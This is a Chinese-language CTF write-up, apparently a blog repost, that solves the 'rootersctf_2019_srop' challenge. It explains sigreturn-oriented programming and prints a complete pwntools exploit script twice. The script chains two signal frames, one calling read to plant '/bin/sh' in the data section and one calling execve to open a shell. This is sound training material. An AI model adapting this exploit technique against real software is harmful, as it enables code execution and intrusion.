根据本题,学习与收获有:
srop用于溢出空间比较大的场景,需要注意:如果将frame的rip设置为syscall;ret,那么rsp指向地址,就是即将下一个栈帧的栈顶。程序会取rsp指向的地址或指令继续执行leave;ret指令的本质是mov rbp rsp;pop rbp;pop ripsrop可以构造多个帧,特别是程序缺乏/bin/sh的时候,第1帧先想办法写/bin/sh\x00,然后第2帧执行execve
本题的环境为ubuntu 18
连main函数都没有,先看start函数吧

流程很简单:call 0x401000,然后调用exit退出。

纯汇编代码,流程是:
write(1, buf,0x2a)read(0, rsp-0x40, 0x400)题目名叫srop,那肯定是使用srop来做题。溢出点也相当明显,0x400足够构造两个srop的帧了。
主要利用srop,参考SROP - CTF Wiki (ctf-wiki.org),细节就不多讲了。需要注意rip和rsp。一般来说,rip会写成syscall的地址。
主要注意两点:1)本题可利用的gadget不多,并且只有syscall;leave;ret,所以需要注意,这里不需要修改rsp,而是rbp。2)程序中没有/bin/sh,但是有data段,所以需要往data段上写/bin/sh。因此,连续利用两次srop是个不错的方案。
步骤:
read的系统调用,往0x402000上写/bin/sh和第二帧,同时控制rbp,指向让第二帧的signal frame。第二帧就布置在已知地址的data段上。signal frame写入execve,获取shell写入第一帧signal frame
data_addr = 0x402000
syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046
frame = SigreturnFrame(kernel="amd64")
frame.rax = 0 # read
frame.rdi = 0 # stdin
frame.rsi = data_addr
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = data_addr + 0x20
layout = [0x88 * "a", pop_rax_syscall_leave_ret, 0xf, bytes(frame)]
# srop to call read, set *data_addr = /bin/sh\x00
sh.sendlineafter("Hey, can i get some feedback for the CTF?\n", flat(layout))

写入第二帧signal frame
# call execve /bin/sh
layout = ["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf]
frame = SigreturnFrame(kernel="amd64")
frame.rax = 59 # execve
frame.rdi = data_addr # stdin
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
layout.append(bytes(frame))
sh.sendline(flat(layout))
sh.interactive()


最后打远程效果为:

from pwn import *
sh = process("rootersctf_2019_srop")
context.update(arch="amd64", os="linux", endian="little")
# write /bin/sh on 0x402000
data_addr = 0x402000
syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046
frame = SigreturnFrame(kernel="amd64")
frame.rax = 0 # read
frame.rdi = 0 # stdin
frame.rsi = data_addr
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = data_addr + 0x20
layout = [0x88 * "a", pop_rax_syscall_leave_ret, 0xf, bytes(frame)]
# srop to call read, set *data_addr = /bin/sh\x00
sh.sendlineafter("Hey, can i get some feedback for the CTF?\n", flat(layout))
# call execve /bin/sh
layout = ["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf]
frame = SigreturnFrame(kernel="amd64")
frame.rax = 59 # execve
frame.rdi = data_addr # stdin
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
layout.append(bytes(frame))
sh.sendline(flat(layout))
sh.interactive()
1、My Blog
2、Ctf Wiki
原文:https://www.cnblogs.com/LynneHuan/p/14723605.html